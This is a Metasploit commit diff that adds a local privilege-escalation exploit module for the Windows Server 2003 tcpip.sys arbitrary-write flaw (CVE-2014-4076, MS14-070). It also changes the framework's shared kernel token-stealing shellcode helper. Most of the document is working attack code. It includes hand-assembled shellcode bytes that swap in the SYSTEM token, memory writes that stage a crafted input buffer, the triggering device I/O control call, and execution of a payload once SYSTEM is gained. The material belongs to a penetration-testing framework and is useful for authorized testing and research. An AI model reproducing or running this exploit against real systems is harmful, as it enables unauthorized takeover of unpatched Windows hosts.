Land #4664, MS14-070 Server 2003 tcpip.sys priv esc
commit
4e0a62cb3a
|
@ -116,10 +116,12 @@ module Exploit::Local::WindowsKernel
|
|||
# original token to so it can be restored later.
|
||||
# @param arch [String] The architecture to return shellcode for. If this is nil,
|
||||
# the arch will be guessed from the target and then module information.
|
||||
# @param append_ret [Boolean] Append a ret instruction for use when being called
|
||||
# in place of HaliQuerySystemInformation.
|
||||
# @return [String] The token stealing shellcode.
|
||||
# @raise [ArgumentError] If the arch is incompatible.
|
||||
#
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil)
|
||||
def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
|
||||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||
if arch.nil? && module_info['Arch']
|
||||
arch = module_info['Arch']
|
||||
|
@ -144,15 +146,17 @@ module Exploit::Local::WindowsKernel
|
|||
tokenstealing << "\x89\x1d" + [backup_token].pack('V') # mov dword ptr ds:backup_token, ebx # Optionaly write a copy of the token to the address provided
|
||||
end
|
||||
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax, 88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||||
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x75\xe8" # jne 0000101e ======================|
|
||||
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx, dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||||
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||||
if append_ret
|
||||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||||
end
|
||||
else
|
||||
# if this is reached the issue most likely exists in the exploit module
|
||||
print_error('Unsupported arch for token stealing shellcode')
|
||||
|
|
|
@ -0,0 +1,159 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/local/windows_kernel'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Local::WindowsKernel
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::FileInfo
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Process
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Windows tcpip.sys Arbitrary Write Privilege Escalation',
|
||||
'Description' => %q{
|
||||
A vulnerability within the Microsoft TCP/IP protocol driver tcpip.sys,
|
||||
can allow an attacker to inject controlled memory into an arbitrary
|
||||
location within the kernel.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
|
||||
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows Server 2003 SP2',
|
||||
{
|
||||
'_KPROCESS' => "\x38",
|
||||
'_TOKEN' => "\xd8",
|
||||
'_UPID' => "\x94",
|
||||
'_APLINKS' => "\x98"
|
||||
}
|
||||
]
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4076'],
|
||||
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt']
|
||||
],
|
||||
'DisclosureDate'=> 'Nov 11 2014',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
return Exploit::CheckCode::Safe unless handle
|
||||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
file_path = get_env('WINDIR') << "\\system32\\drivers\\tcpip.sys"
|
||||
unless file?(file_path)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("tcpip.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
|
||||
|
||||
if ("#{major}.#{minor}.#{build}" == "5.2.3790" && revision < 5440)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::None, 'Session is already elevated')
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||||
elsif sysinfo["Architecture"] =~ /x64/
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
end
|
||||
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
|
||||
end
|
||||
|
||||
handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device")
|
||||
end
|
||||
|
||||
print_status("Storing the shellcode in memory...")
|
||||
this_proc = session.sys.process.open
|
||||
|
||||
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [0x1000].pack('V'), nil, [0x4000].pack('V'), "MEM_RESERVE|MEM_COMMIT", "PAGE_EXECUTE_READWRITE")
|
||||
|
||||
unless this_proc.memory.writable?(0x1000)
|
||||
fail_with(Failure::Unknown, 'Failed to allocate memory')
|
||||
end
|
||||
|
||||
buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
|
||||
|
||||
sc = token_stealing_shellcode(target, nil, nil, false)
|
||||
# move up the stack frames looking for nt!KiSystemServicePostCall
|
||||
sc << "\x31\xc9" # xor ecx, ecx
|
||||
sc << "\x89\xeb" # mov ebx, ebp
|
||||
# count_frames
|
||||
sc << "\x41" # inc ecx
|
||||
sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000
|
||||
sc << "\x8b\x1b" # mov ebx, dword [ebx]
|
||||
sc << "\x75\xf4" # jne short count_frames
|
||||
sc << "\x49" # dec ecx
|
||||
# loop_frames
|
||||
sc << "\x49" # dec ecx
|
||||
sc << "\x89\xec" # mov esp, ebp
|
||||
sc << "\x5d" # pop ebp
|
||||
sc << "\x83\xf9\x00" # cmp ecx, 0
|
||||
sc << "\x75\xf7" # jne loop_frames
|
||||
sc << "\x31\xc0" # xor eax, eax
|
||||
sc << "\xc3" # ret
|
||||
|
||||
this_proc.memory.write(0x28, "\x87\xff\xff\x38")
|
||||
this_proc.memory.write(0x38, "\x00\x00")
|
||||
this_proc.memory.write(0x1100, buf)
|
||||
this_proc.memory.write(0x2b, "\x00\x00")
|
||||
this_proc.memory.write(0x2000, sc)
|
||||
|
||||
print_status("Triggering the vulnerability...")
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0)
|
||||
#session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
|
||||
unless is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
end
|
||||
|
||||
print_good("Exploitation successful!")
|
||||
unless execute_shellcode(payload.encoded, nil, this_proc.pid)
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue